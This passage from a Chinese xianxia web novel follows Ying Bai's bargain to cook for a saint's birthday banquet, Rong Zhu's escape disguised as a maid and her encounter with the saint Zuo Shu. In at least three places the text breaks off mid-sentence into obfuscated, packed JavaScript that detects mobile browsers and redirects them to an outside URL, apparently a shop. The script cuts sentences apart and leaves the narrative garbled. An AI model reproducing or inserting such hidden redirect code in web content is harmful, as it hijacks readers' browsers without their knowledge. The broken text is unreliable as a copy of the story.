来的路上连逸已经提前跟应白打好了预防针,说即便容江是容檀的父亲,但容檀才是掌门,容江是不会以一个父亲的身份去强行改变容檀的想法,说不定也跟容檀一样,不答应救容珠,因为不救不会对清凌门有损,而救了,清凌门很有可能惹祸上身。 很显然,血缘关系这招已经废掉了。应白道:“容掌门的意思我明白了。众所周知,我现在已经没了灵核,但曾经也在圣灵宫修习过两年,对每一位圣灵都有所了解,当然对昌修圣灵的喜好也略知一二。应某想和容掌门做一个交易。” 他神色凛然,“听闻清凌门在三个月后的百岁生辰宴上负责菜系一事,应某在做饭上颇有研究且有把握自己做出的吃食会讨得昌修圣灵的赞赏。到时候,清凌门会因为生辰宴菜系出众一事受到昌修圣灵的夸赞,赢得脸面,甚至会获得来自圣灵的奖励。” 应白说话的同时也在观察容檀的神色,容檀说话直接也意味着她喜怒形于色,这对猜测她内心是何想法可谓是非常容易的一个突破点。 容檀先是怒瞪了连逸一眼,心知是他向应白透露的消息,随后又幽幽看向应白,其中的傲视和轻蔑在瞬间减了几分。 如今有人提出了方案,并且这些不是虚言,因为应白是众所周知的圣灵,他说他了解昌修绝不会有假,这一点,容檀心里明白,是立刻告知圣灵宫抓捕应白,还是利用他为清凌门赢得荣誉? 应白接着道:“应某并非胡言乱语,只是想让掌门同意届时让我与清凌门的厨娘一起备菜做饭,如果掌门对我的厨艺心存怀疑,只要掌门不介意,清凌门今晚的晚饭可以由应某来做,到时掌门与尊主品尝一番就可辨别真假。” 容檀蠢蠢欲动,抛去应白的身份,摆在她面前的是个顶好的机会,应白可以让清凌门在生辰宴当天赢得昌修圣灵的称赞!这对容檀的诱惑太大了,可她同样不想欺瞒圣灵宫,与应白合作。 好半天屋里没人说话,容江见状出声道:“应白,你既说是交易,也说了要为清凌门做什么,那清凌门得了好处后,你想得到什么?” 应白缓缓看向容江。他不插手掌门事务,但他是容檀的一面盾牌,这面盾牌上长着一双锐利的眼睛,拥有智慧的思想,以及必要时主动出击的刀剑。 容檀原本有些动容的面容顿时显露一丝警惕。 “如果清凌门能获得奖励,且奖励是能进入圣灵宫的护身符,能不能将护身符赠予应某?”应白的声音四平八稳,好像这是一个理所当然的要求,好像他不知道护身符对于一个门派来讲是多大的荣耀! 容檀刚想立即否决,便听容江继续问:“你想自己去救容珠?” 应白道:“如果奖励真的是护身符的话,容掌门与容尊主可以放言是应白偷了清凌门的护身符,到时圣灵宫只会以为我逃出漩涡之境是要去拿回灵核,全然不知我的真实目的,也没有人会在意清凌门护身符丢失一事真相,如此,清凌门不会与我有任何瓜葛,也不会有任何麻烦上身。” 话听到一半时,一旁的连逸已经惊呆了,他全然不知应白的计划是要以暴露自己为代价。应白想以自身安危换取一张有些许可能能救出容珠的护身符!擅自逃离已经罪加一等,若再次被圣灵宫抓到,岂非要就地制裁? 容江似是没想到应白为清凌门考虑得这般周全,他忍不住问:“你为了救容珠连自身安危也不顾?要知道,若被圣灵宫再抓到,可不一定再关漩涡之境这么简单了。” 应白神色不改:“我只想救容珠,不论后果。” 连逸想出声说什么,可一堆话语堵在喉咙处,一个字也蹦不出来,还有什么更好的方法吗? “不行。”容檀的声音从上方冷冷传来,“我不同意。” 应白问:“容掌门有何顾虑?” “顾虑?”容檀站起身道:“应白,我完全可以在拿到护身符这个奖励后直接向昌修揭发你,说你私自逃离漩涡之境来到清凌门意图说服我们对抗圣灵宫,而我容檀没有受你的疯言蛊惑,直接将你绑起,等候圣灵宫发落。我能有什么顾虑?你现在不就是在意图诱惑我们对付圣灵宫吗?想带走昌修圣灵的生辰礼就是在与圣灵宫作对。应白,你明不明白,不管如何,你都会再一次受到圣灵宫的惩罚!” 她好像没说过瘾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16684388|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又道:“凭什么你让清凌门受到赞扬我就要回馈你?你浑身上下没有任何一丝灵力,有什么资格与我谈交易?” 她盛气凌人的架势让下方的连逸听来不免有些窝火,他一双拳紧紧握住,容檀的声音此刻听来如青蛙一般聒噪,怎会有如此蛮横不讲理的女子! 应白眉头微蹙,心中陡然生出一个计划,便道:“那不知容掌门是否同意让我在生辰宴上下厨呢,生辰宴一过,应某但凭容掌门处置。” 容檀挑眉道:“不救容珠了?” 应白淡漠道:“应白没有资格与容掌门做交易,但容珠曾令清凌门受辱,应白愿替容珠帮清凌门挽回一点荣誉。” 容江盯着应白,依旧沉默。容檀听了这话十分舒心,“算你识相,希望你能时刻记住自己如今的身份地位,你既心甘情愿将自己与容珠绑为一体,那容珠欠清凌门的就由你来还了。但在此之前我必须确定你的厨艺是否真如你所说,不然你别指望能还清凌门什么。” “连逸。”容檀自上而下俯视他,“去通知厨房,今日有新人来报道。” 连逸强忍半天,侧目看了应白毫无波澜的神情,终是松开握的发白的手指,应了声“是”。 容檀将目光看向应白,得意道:“应白,你也去吧。” 谈判结束,等人都走光了,容江看着面前的女儿,这张情绪不明的脸缓缓露出一丝笑意:“檀儿,你真的这么不喜欢容珠吗?” 容檀此时心情愉悦,说出来的话也轻巧肆意:“她是废物,又是清凌门的耻辱,这样的人不配活着。” “纵是如此,你和她身上也流着相同的血液,她是你表姐。” 容檀更不屑道:“她不配。” 容江嘴角的笑意渐渐隐蔽,又恢复一副平淡如水的表情:“你娘在临死之际说的唯一一句话便是让我好好教导你,你将荣誉得失看得比亲情还重要,莫非你要与妖魔为武吗?” 一提起娘,容檀愉悦的心情在刹那间落地。她的娘亲生下她后就去世了,容珠最起码还记得自己娘亲长什么模样,可她容檀,从未见过,不管是假想还是在梦中,那张脸永远都是模糊的。 “强者为尊,弱者低贱,女儿不拿灵阶高低处事,难道还要靠亲情与同情吗?” 容江看向她,字字清晰道:“生而为人,与妖魔最根本的区别是我们的心有爱,纵使世界规则是强者为尊,但它不会剥夺人心中的爱,不过是世人曲解其意,自我放弃了拥有爱的一面。你忘了你娘是怎么死的了吗?你忘了她留给你的那封信上写的是什么吗?” 容檀一屁股坐了下来,愤怒与悲痛让她看起来极为痛苦,她大声道:“我知道!我知道她写了什么,可这个世界不容忍这些观点,这会遭人唾弃,遭人谩骂,被圣灵宫处罚!你忘了应白的下场吗?” 容江走向她,蹲在她面前,缓缓道:“你不必像应白那样做得人尽皆知,我希望的是你心中能认识到人应该有爱,这便够了。 “应白为什么能年少成名,容珠为什么跟应白待在一起后就能用出低灵阶级的咒语?我想多少跟他们都拥有爱有关系。 “檀儿,你很有天赋也很聪明,既然这么聪明,你一定能察觉出这个世界所存在的问题,你母亲的信就是最好的答案,终有一天,我希望你能明白,到那时或许你母亲的容貌在你心里便会更清楚。” 容檀倏地抬眸,水光闪烁。 容江起身道:“这个世界不让我们去爱,但我们可以把爱藏在心里,做到心中有爱,处事泰然。 26. 行动 通往清凌门厨房的道路越走越偏僻,见四下无人,连逸道:“你究竟是怎么想的?” 应白微微一笑:“护身符对于谁来讲都是相当荣耀的东西,方才你也看见了,容掌门不愿意给我,她既想通过我拥有护身符也想将我逃离漩涡之境一事禀告圣灵宫。既然横竖都要被圣灵宫知道,那我干脆当天真的去抢了。” 连逸驻足:“你靠什么抢?” 应白道:“总有办法,反正我一定要将容珠从圣灵宫带出来。” 连逸看着应白的背影,眉间拧成一股麻绳,“如果不是护身符呢?如果清凌门获得别的奖励怎么办?” 应白的身影停在光照的地方,将他影子拉得好长,他平静道:“哪个门派获得了护身符,我就去抢谁的。” 他身下衣摆随风缓缓飘动,身侧的影子却毅力静止,仿佛影子才是真实的他,才是拥有强悍之力的他。 连逸被他所言惊得久久不能平静,忽然坚定地往前走了一步:“我帮你。” 应白回眸:“此事我一个人就可以,你若帮我,清凌门就会沾上与应白为伍的污点,这非我所愿。” “可你公然去抢护身符哪里还有命进圣灵宫?”连逸压着嗓子问。 应白平和的面容上拂过一丝忧虑,他抬头看向远方,这丝顾虑似乎也随风飘飞了,“离生辰宴还有些日子,我会想办法的。我这条命本就是容珠所救,没道理她有危险我在救她一事上还要顾忌自身安危。走吧。” 午后,厨房的厨娘和爷们儿们正在打盹,通常这个时间段是不会有人管他们的,冷不丁今日在睡梦中被惊醒。大门处传来吆喝声,他们瞬间站起身来,半躬着身子不知即将要面临什么。 厨房管事大爷领着一个青年进来,对众人道:“方才前边派人传话,说今后厨房多了个新人,今晚派内吃食皆由他一人做,你们都给他打下手吧。” 一听不是惩罚责骂他们的话,厨娘大爷们这才抬起头看着新人。应白道:“初来乍到,还需各位大爷大娘提点。” 谁也没想到,来的新人竟是个年轻人。不过来厨房做活计的都是低贱之人,大爷大娘们本来还想着能对新人摆款,但观他皮相不俗,浑身上下不知哪里透着股压迫感,除了衣服不同,倒与清凌门的弟子在气质上颇为相似,加之厨房管事很清楚地说是要给新人打下手的,因此他们也不知此人究竟是何身份,未搞清楚状况,他们也不敢擅自出气。 应白询问了他们晚饭什么时辰开始准备,准备多少,烧多少菜,都做什么口味,厨娘们一一回答。等到了差不多时辰,应白就开始挽袖做活,他让其他人洗菜,切菜,有些菜一向都是切丝做的,但应白要么让他们切块,或者反着来,或者更夸张地捣成泥。 这些大爷大娘们做了一辈子饭还没见过另类做法,纷纷嘟囔:这个就应该切丝、这个怎么能这么做?他这是要干嘛啊?这么做能好吃吗? 晚上,当清凌门的弟子们一如既往地三五成群去往食堂时,首先映入眼帘的是掌门与尊主在吃饭。通常情况下,弟子们是不会在食堂遇见这两位人物的,或许掌门早在他们之前吃过了,又或许他们吃完掌门才来吃,总之,几乎没有在食堂碰过面。 原本叽叽喳喳地人群顿时像被失了禁言术,只顾端着盘子盛饭,然后安安静静地选个座位坐下。但今日怪事颇多,他们纵然不敢说话,但还是忍不住评论道:“今天的菜好像不一样啊”“你看这个看起来真漂亮”“这是什么东西,我怎么看不出来是什么菜? 一人嘟囔,众人都在嘟囔,今日的饭菜看起来新奇,吃起来更是惊喜,放眼望去,好像一群饿了千八百年的人们第一次看见食物。 容檀早在弟子们来之前就吃得半饱了,食堂议论之声传入她耳中,她在无意间又吃了几筷头。 容江道:“檀儿,这些菜无论是从样貌还是味道来讲都与我们平常所食有很大区别,看来应白所言不虚。” 容檀放下筷子,拿帕子擦擦嘴,看起来颇为满意但仍冷着脸道:“我吃饱了。那便叫应白来议事厅吧。” 今日晚饭,鸡鸭鱼肉及各类蔬菜俱全,蒸、煮、炒、炸、煎、烤六类做法都有,弟子们的视觉和味觉都得到了满足,食堂内响起了此起彼伏的打嗝声。 议事厅内,容檀对应白笑道:“不曾想应白圣灵还有这样的拿手绝技,真令人刮目相看。” 应白不在意她的冷嘲热讽,“这些都是最基本的食材所做,届时生辰宴上还要针对昌修圣灵的喜好来选购其他珍贵食材,到时做出来的菜肴既是昌修圣灵爱吃的,也会使昌修圣灵念念不忘。” “好!”容檀神采奕奕,仿佛已经看到了清凌门的荣耀,她也不管自己瞧不瞧得起应白了,当即道:“我会下令让厨房所有人都听从你的安排,连逸是这次生辰宴做饭的负责人,我暂且不追究连逸与你之间有什么交集,等生辰宴一事完,再行评判。” 连逸听出这是容掌门对他的警告,警告他分清自己的定位,他是清凌门中人,不能与应白勾结为武。 “不过……”容檀俯视座下应白,“不知你有何把握能让清凌门获得的奖励是护身符啊?” 应白道:“如果食物能与圣灵宫联系起来就有八成把握,我会尽力一试。” 容檀撇撇嘴不再言语。 这段时间,清凌门的弟子一直对食堂的伙食赞不绝口,他们只是听说食堂来了一个新人,但新人是什么人他们就不感兴趣了。与此同时,圣灵宫的姑娘们也过上了一段衣食无忧,惬意舒适的日子。 容珠除外。 眼看着离昌修生辰宴的日子越来越近,她却一直没抓住机会出去,这个法子实行起来太危险,她正在焦虑到底该怎么做才能保证自己不被发现。 经过长时间的观察,容珠可以确定她们这群人一日三餐的伙食都是由婢女送来,而这些婢女每天每顿来的人并不一样,大多数时候是一样的,一行队伍中总有那么一两个是之前没出现过的。容珠想的方法说起来十分简单粗暴,那就是假扮婢女顺着队伍离开这里。 婢女送完饭后会在外面等候,等姑娘们吃完了再进来收拾盘子离开。这里面受阻碍的情况有很多,最难的就是怎么样能神不知鬼不觉地将一个婢女和自己掉包还不泄漏自己。 这二十个姑娘中,只有容珠独身一人吃饭,睡觉,逛花园。这房间很大,容珠将自己的铺位挪到离她们有一段距离的地方,吃饭也不想跟她们一起,而其他姑娘没有人会对一个哑巴表示在意,都几个几个聚集在一处玩乐,久而久之都快忘了屋子里还有这么一个人。 这天晚上,容珠正细嚼慢咽小桌上的饭食,乌黑的瞳孔透过窗隙密切地观察着外头的婢女。 那些婢女彼此之间都不说话,也没什么感情,像木头人似的自顾自地忙活手里的活。她们的工作包括但不限于送饭,打理花园,打扫庭院,喂鱼。总之这片区域所有的杂活都是她们干。 圣灵宫的婢女都是以往昌修圣灵挑剩下的,她们没有被哑掉,但也几乎不开口说话,就像是得了某种指令或者威胁,又或是害怕。 见婢女们都分散开来,容珠扒完两口饭,看其他姑娘没有注意到自己就贴着墙出去了。 院内景象被月光一分为二,容珠依旧贴着月光照不到的黑暗之地潜行,她像一只受惊的兔子,睁着乌黑明亮的大眼警惕周围,因为紧张害怕,后背已经浸上一层细汗。很快,她锁定了一个正在喂鱼的姑娘。 这个姑娘长得白白嫩嫩,身形娇弱,年龄看起来比自己小,且她的背后就是一棵树,这棵树遮盖了大面积的月光,十分隐蔽不易被发现。 容珠蹑手蹑脚穿过游廊,有惊无险地绕行至那颗树附近,从地上拿起一颗石子,注了一点灵力朝那婢女的后脑勺“嘣”的一下击去。 那婢女似是还未来得及呼痛,身形晃荡了片刻就要倒在地上。容珠不想让她发出声音,立刻上前扶住了她将她拖在树后,十分麻利地把她外衣扒掉,再一咬牙奢侈了点灵力给她施了个昏睡咒,这样就能睡上七天七夜,给她争取逃亡时间。 昏睡咒也是低灵阶级的咒语,她能用出来跟她每晚坚持练习心法有关。她都是等姑娘们睡着后才起来练习,感受体内灵力像小溪流般汩汩流动。使用昏睡咒是越级使用灵力,对身心消耗巨大,但这种关头,必须要舍弃一点东西才能有所收获。 换好衣服后,容珠抖如筛糠,她第一次干这种事,浑身上下都充斥着被发现的警惕和害怕……还有兴奋,连微风吹过都让她以为是有人发现了她。 她把婢女托在石堆间,让她靠着石头,然后把落叶铺到她身上,将她的耳饰钗环尽数带到自己身上。 她对着湖水照了照自己的模样,做出一副婢女应有的姿态,低着头去跟其他婢女进屋收拾碗筷。 那些姑娘们吃完饭就去看星星了,屋里空荡荡的,碗筷清脆的碰撞声一下一下撞击着容珠的心,她默默观察其他婢女的动作,瞅准机会跟她们汇合在一起。 当她跟着队伍走出这方天地时,紧张和喜悦齐齐涌来,她像只刚刚飞出囚笼的鸟,新鲜的空气和陌生的环境环绕在身边,她想跑得更远,但她不知方向,最好的办法是先和这里的人融为一体,在得救前,她必须要学会隐藏自己。 碗筷放入厨房后,婢女们才开始自己吃饭。容珠偷偷溜出去,想趁着夜色先熟悉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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女子穿着一身精美柔软的淡紫色衣服,这样的紫经月光一照透着点粉,温柔之风尽数显现,她呆在原地似是反应了一会,片刻后又继续朝前走。 容珠撇到余光中那片淡紫色衣角离自己远去,终是又惊又奇地缓缓抬头,看着那个身影一步一步地,仿佛若无其事般朝某个方向走着。 她充满恐惧的大脑逐渐恢复理智,凝神观察一会儿后发现了一个疑点。于是她大着胆子跟踪上去,越看越觉得这个女子的走姿十分奇怪,若是不仔细观察,她的确是在正常走着,但她每走一步都带着一丝极其微弱的顿挫感。 她除了走路没有别的任何动作,手也不摆,头也不动,即便拐弯也是僵硬地转身,然后继续顿挫前行。直到走到一个死角,她似是反应了半天才知转身往回走。容珠躲在暗处观察,当她经过自己眼前时,她一双轮廓很美的眼睛竟是黯淡无神的。 圣灵宫怎么会有木偶人呢? 容珠暂且将她称作木偶人,可她发丝逼真,肌肤也如真人般,若不说别的,她就是一个真人! 她跟着木偶人来到一处风景之地,这里有一方湖泊,月色下平静如水,像一匹光滑的深蓝色绸缎。她正纠结要不要再跟下去,因为她不知木偶人在圣灵宫意味着什么,若贸然跟下去万一被发现了怎么办? 她藏身在柱子后思索着,寂静的夜里忽然传来“扑通”一声。 无声的气息从容珠喉间发出,原本平静的湖面上,水光荡漾起一圈一圈涟漪,一个浅紫色身影浮在水面上一动不动,毫无活人的模样。 容珠大惊,她怎么掉下去了? 木偶人在水面上漂浮着不动,她总不可能是进去洗澡或是练功吧? 容珠内心纠结了一番,心想她掉下去可不该自己事,自己尚且有性命之忧,没精力去管一个木偶人溺水不溺水。 她刚转身要离开此地,忽然想起了应白。 片刻后,容珠见四下无人于是跑到湖边伸手想去捞她,但距离有些远,她索性伸脚入湖,没想到这湖也不深,她勉勉强强能站住。 当她拉着女子的手往岸上游时发现她的身子很轻,果然如她心中所想,紫衣女子只是个会走路的假人而已。 她把木偶人拖上岸,木偶人的青丝湿漉漉地粘在衣服上和地上,而这双无神的眼睛还在睁着,一副根本不知道发生了什么事的模样。很显然,肢体的任何接触对木偶人而言都是没有知觉的。 容珠将她扶起站好,然后把她的发丝捋顺,衣服顺好,让她看起来端庄一些。做完这些后,木偶人又开始朝前走了。容珠决定不打算跟着她了,她拧干自己的衣裙,在走之前又望了望木偶人。 这一望让容珠跳动的心在一瞬间停止,紧接着是无限恐惧和害怕席卷全身。 她看到紫衣女子身旁站着一个紫衣男子,男子穿的这身紫要深很多,在幽静的夜里散发着邪魅的气息。他正轻抚木偶人的发丝,月光昏暗,看不清神情,良久,他微微转头看向在场的另一个人。 这双凤眸轻轻一抬便有一股不可直视的高贵之气如利剑般飞来,带着强者的威严与蔑视狠狠击中呆站在原地的少女。 容珠浑身一颤。 27. 说话 “过来。”紫衣男人发出一道命令,声音冷漠。 容珠感觉自己被施了冰冻术,浑身动弹不得,而恐惧驱使着她不断前行,直到在离紫衣男人两步远的地方停下。 “我都看到了。”紫衣男人说出第二句话。 容珠难以抑制地打了个哆嗦,此刻模样也同木偶人般僵硬木然。 “你并非我院中侍女,为何会出现在此地?” 紫衣男人的第三句话一出,容珠停止了颤抖,不是因为她不害怕了,而是一种已知即将面临死亡的过分平静感。她可以确定这个圣灵不是昌修,她记得昌修的模样,而圣灵宫其他圣灵不是每一次灵阶比试都到场,即便到场也不见得能看见本人,她只能排除掉昌修和万初圣灵。 所以,她是不是还可以抱有一丝侥幸心理,侥幸这位圣灵没有怀疑她婢女的身份,不知道她其实是昌修圣灵的生辰礼? 可这样又能有什么转圜的余地?他已经发现她是个生人,而从他话中可知每个圣灵都有自己的一批丫鬟侍从,她不属于这里又闯进了这里,岂不同样犯了罪? 纵使知道自己的结局,容珠脑中还在尽力思索有什么转圜的余地。 紫衣男人见一个小婢女对自己的问话置若罔闻,不禁微微皱眉:“你不会说话吗?” 这个问题容珠会。 她点点头。 圣灵宫有哑巴婢女,也有没被哑的婢女。有塞钱进来的婢女也有被当作昌修生辰礼后淘汰下来的婢女。一般来讲不管什么婢女都是正常人,即便有错,圣灵们一般直接处死,不会去把婢女嗓子哑掉。 只有一个圣灵会用哑掉嗓子的方法来惩罚婢女,就是昌修圣灵。 婢女说话声音不好听,哑掉;婢女在服侍他时哭嚎喊救命的,哑掉;婢女说了不该说的话,哑掉。 这些内情容珠自然不知道,不过她从紫衣男人的眼神中看出些许厌恶与不屑,他并不是看着自己做出这些表情,似乎是想到了什么事才这样的。 他收敛情绪道:“你以后就在这里干活吧。” 忽然转变的一句话让容珠甚至来不及错愕,她内心惶恐紧张了半天等来的不是对自己的惩罚而是新的束缚? 在这里干活? 不行不行,她是要离开这里的,于是在下意识间她飞速地向紫衣男人摆手,但紫衣男人偏巧在这个时候转身走了,牵着木偶人的手慢慢在月色下走着。 “过来。”依旧是命令的语气。 容珠只得慢慢在他身后走着,穿过这片花园再经过一座拱桥后就来到一处清雅宁静的前院。 紫衣男人径直走进屋中,没有说一句话,容珠只当他默许自己进去。 屋内烛火通明,布局精致中透着层层淡雅之气。紫衣男人坐在案前,借着明亮的烛光,容珠这才发现这男人两鬓间有几缕白发,似乎年近花甲,却依旧有一张令人惊叹的容颜。 他凤眼微挑,下巴瘦长,脸上骨骼分明,增添了些冷厉,这丝冷厉与他这双足可以媲美美人的双眼相结合衬得他十分俊美,加上纤细高挑的身姿与体态倒像个三十多岁的人。 不知怎的,容珠立刻想起了应白,紫衣男人固然好看,但师父的模样是一种温暖人心的俊朗。初时便认为有些好看,相处的越久越被这张脸所吸引,只要对上师父的眼睛就不愿从温柔乡中离去。 所以,容珠下结论:师父是最好看的。 紫衣男人将木偶人的坐姿调整好后便道:“我看到你拉阿柔上来,给她整理衣衫与发丝。” 容珠将目光移向木偶人,想来这位紫衣女子叫阿柔。 “她是我用‘发芽’制作出来的假人,只会走路,不会思考,午夜一到,她就消失了,明日我会再把她制作出来,天天制作,天天消失。” 他仿佛在自言自语,容珠纳闷“发芽”是什么东西,木偶人怎么会用“发芽”制作出来?难道“发芽”是个功法吗? 紫衣男人目光极其柔和,他轻轻抚摸着阿柔的脸、眼睛、鼻子和头发丝,然后慢慢靠近她,微微侧头…… 容珠双眸闪过一抹震惊之色,倏地低下了头,顿感后背起了一层鸡皮疙瘩。 “阿柔,再等等我,再过几年我就能练成了,到时候你就能复活,我们就能永远在一起……” 复活? 忽然有一丝记忆从容珠脑中显现。圣灵想复活妻子一事曾经在修真界传得沸沸扬扬,因为复活死人除非神仙下凡,即使灵力再强的修炼者怎么可能说把死人从阎王殿拉来就能拉来呢? 据说这位圣灵是离夷宗的弟子,偷学了禁术“生花”,凭借“生花”第六式“花烬”成为了圣灵,住进圣灵宫精进修为。 据说修炼“生花”到第九式“再生”就可以复活死人。听这紫衣男人的言语,莫非他就是那个传说中的离夷宗弟子?他就是那个偷练禁术成为圣灵,妄图继续修炼好复活妻子的左舒圣灵? 容珠像是发现了什么了不得的事情,忍不住又看向紫衣男人。谁知紫衣男人还在百般贪婪,难分难舍,而阿柔只是木然地坐着。 容珠难掩震惊之色,登时一阵脸红,心想左舒圣灵为什么要让自己看到这种隐私之事,还是他已经忘了现场还有另外一个人了? 她四处张望有什么地方可以躲藏起来,耳边响起左舒圣灵含混不清的声音:“阿柔,阿柔……如果你能说话就好了,我想听你的声音,想听你此时呼唤我的名字……” 不知过了多久,左舒圣灵终究没有太过开放,他整理好阿柔的衣服,随后望向屋子里第三个人。 容珠在原地十分局促痛苦地站着,紧闭着眼睛。 “你过来。” 这是左舒圣灵第三次让她过去。容珠战战兢兢又分外不情愿地磨磨唧唧走过去,看到左舒圣灵朝她抬起手,低沉沧桑的声音响起:“第七式,花粉。” 他简单说了这几个字,五指朝着少女缓缓张开。 容珠还以为是自己方才看到了不该看的东西要被杀人灭口,顿时大惊失色,嘴巴张开吸气的一瞬间感觉有细密粉尘吸入喉中,她急忙捂住自己的脖子大声咳嗽起来。 左舒圣灵淡淡地看着她道:“你知道吗,我的花粉有两种功效,可以毒死人也可以解百毒。” 他拉着阿柔起身双双走出门外,经过容珠身边时道:“过不了多久你就能说话了。” 容珠惊魂未定,反复回想左舒圣灵方才的话,反复确认他并没有杀自己而是在帮自己解哑药? 不到一盏茶的时间,容珠就感觉到喉间有股异样之感,她躲到院中一个角落里,蹲在地上,轻轻发了一声“啊”。声音有点粗哑,但却是真真切切地能说话了,她小声地一直“啊”,慢慢地,她原本的声音就回来了。 她的嗓子正常了,她可以说话了! 容珠难掩激动,双眼忍不住洇上一层泪光,她继续蹲在角落里,小声地叫了句:“师父”。 “师父。” “师父。” 她沉浸在能说话的喜悦中,全然忘了自己身处圣灵宫,忘了要离开这里的困难和艰辛。 她不明白为什么自己将阿柔从水中捞上来,左舒就愿意治好自己的嗓子?他可是圣灵,她只是个小奴婢,尊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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腹诽完后容珠心知自己必须回答这个问题,她突然灵光一现,想到修真界人人皆传言左舒爱妻疯魔一事,加之自己曾亲眼所见左舒有多么在乎阿柔,每日都要用“发芽”重新造一个假阿柔出来,孜孜不倦,说不定爱情是他的软肋? 容珠还不晓得爱情是怎样的感情,她想了想,胡编乱造道:“我已经有深爱的人了,我想和他共度余生,想每天都能看见他……” 鸡皮疙瘩瞬间起了一身,容珠因自己说出的暧昧话而浑身发麻,回想着左舒圣灵在众人心目中的印象,硬着头皮道:“我一日不见他就浑身难受,这三个月我想他想得快疯掉了……我想和……和他成亲……和……和他睡觉……所以……我逃了出来……” 如果眼前有一个土坑,容珠会立刻钻进去再把自己埋起来。 好半天左舒圣灵都没说话,容珠大着胆子抬起眼皮瞅他,见他正出神地望着前方。 身后有脚步声靠近,一走一顿,僵硬笨拙。一片淡紫色衣角从容珠视线中飘过,片刻后传来左舒圣灵暧昧至极的声音:“阿柔,我想和你共度余生,我想每天都能看见你,真实的你。我一日不见你就浑身难受,我想你想得快疯掉了……我想和你……” 话语有些不堪入耳,容珠真希望自己什么也听不见,本来说出这些话就已经让她十分为难了,谁知道左舒圣灵又要和阿柔亲亲我我,容珠忍不住双脚扣着地板,双眼过于紧闭让她的眼球传来阵阵疼痛。 不得不说,阿柔出现得恰到好处,容珠的一番胡言乱语在爱妻疯魔的左舒听来就是打通他心扉的不二法门。且左舒本就不喜欢昌修,从容珠身上他看到了自己对待阿柔的那份真情,于是,年近花甲的左舒圣灵被这无中生有的情意感动,对容珠道:“我可以帮你下山,但需等到生辰宴那日。” 28. 圣灵 昌修圣灵的百岁生辰宴终于来了。 天刚蒙蒙亮,天阙台下方的广场早已人头攒动,五家高灵门派弟子身着代表自家纹样的服饰在宴会上如河流般行走。从主宴台到最末席的位置皆用不同材质的桌椅按照尊卑区别,主座上的宝椅雕工精美,光华夺目,搭配一张金边勾勒的琉璃桌,一席金色闪着流光的地毯顺阶而下直达广场末尾,奢靡辉煌之景令人赞叹不绝。 负责宴会布局的是高灵门派离夷宗。从一个月前开始,离夷宗就已经开始布置场地了,先后拆拆建建了三次方令离夷宗宗主满意。此时朝阳初升,天边一缕金光映射在宝座之上,随着太阳升起,场中布置犹如被镀上一层神圣之光,更令人肃然起敬,目不转睛。 午时,以五大高灵门派为首的掌门携前来参宴的其余门派朝圣灵宫方向跪迎道:“今逢昌修圣灵百岁生辰,我等位卑之人自作主张设此喜宴,修真界上下祈求圣灵降驾,赐予我等观尊之权,了却我等仰慕之心!” 年年生辰宴,修真界所有门派都要如此迎接昌修,待众人以真诚之心齐声唱完后,昌修才从圣灵宫的阶梯上缓缓走下。 天阙台是通往圣灵宫的必经之路,设宴之处再上一段台阶便是一个圆形比试场地,每年的灵阶比试都在这个武台上进行,外围一圈坐着各大门派及前来参赛的个人,七位圣灵的观赛位置位于东方。再往后就是一段有上千级台阶的阶梯,阶梯入口设有灵阶屏障,只有圣灵或者拥有护身符的人才可以自由出入,而穿过屏障便抵达圣灵宫。 一盏茶后,昌修身着一身金光灿灿的袍子,在众多使者的拥护下笑容满面地在众人面前显现。黑白相间的头发半聚于顶,插着一根同样亮得晃眼的簪子,满面笑容牵动起层层皱纹在这张黝黑瘦削的脸上显得格外精神抖擞。在金衣的映照下,他脖间的黑色皮肤也泛起黑光,整个人晃得对面一众高低门派不敢直视。 “恭迎圣灵大驾!” 在洪亮激昂的恭贺声中,昌修圣灵已将生辰宴的场地布置尽数收于眼中。他轻轻抚摸着这把为自己准备的宝椅,丝毫不觉得上头的金光刺得他睁不开眼,他窄小的眸子闪着精光,欣赏了好久才十分受用地坐了下来。 “坐。” 他发出了强者的命令。底下众人有条不紊地坐在自己应坐的位子上。此时一位身穿土黄色衣袍的男人从原先昌修圣灵下来的地方走来。他身形匀称,看上去也有花甲之年,一双深邃的眼眸正含着精明笑意看向昌修。 “寿星生辰,金某晚来一步,深表羞愧。” 底下刚坐下的人又齐刷刷站了起来,朝这人揖礼道:“拜见金闻圣灵。” 金闻不语。昌修慢悠悠地喝完杯中茶才道:“哪里的话,你我同在圣灵宫修习,这么见外做什么,坐吧。” 金闻保持着浅笑落座,挥手让众人坐下,看了看剩下五个还没坐满的位子道:“看来其他圣灵都忙得很,是我独来独往惯了,还以为其他人都已经到场,早知这样我就叫上他们一起来了。” “金闻圣灵好周到,可我哪有万初圣灵那样的排场。”昌修从果盘里捡了个酸枣吃,“我听闻当年万初圣灵的百岁生辰宴可是极为壮观,恍若神明下凡,昌修自愧不如,不敢奢求能与万初长老一样的灵力与地位。” 金闻遥望远方,像是在看风景,“那是自然,万初灵力高深莫测,又岂是你我可以比的,尤其他手里还有一个极有价值的灵核,若是哪一天,万初找到了不用挖自己灵核也能将他人灵核归为己用的方法,说不定要一举成仙了。” 主座离得远,加上他们二人说话声音不大,底下人根本听不见,本来按照规矩是要等七位圣灵都到场后再开饭,眼下还没到齐,两个圣灵又在闲聊,底下的人也只好聊天喝茶了。 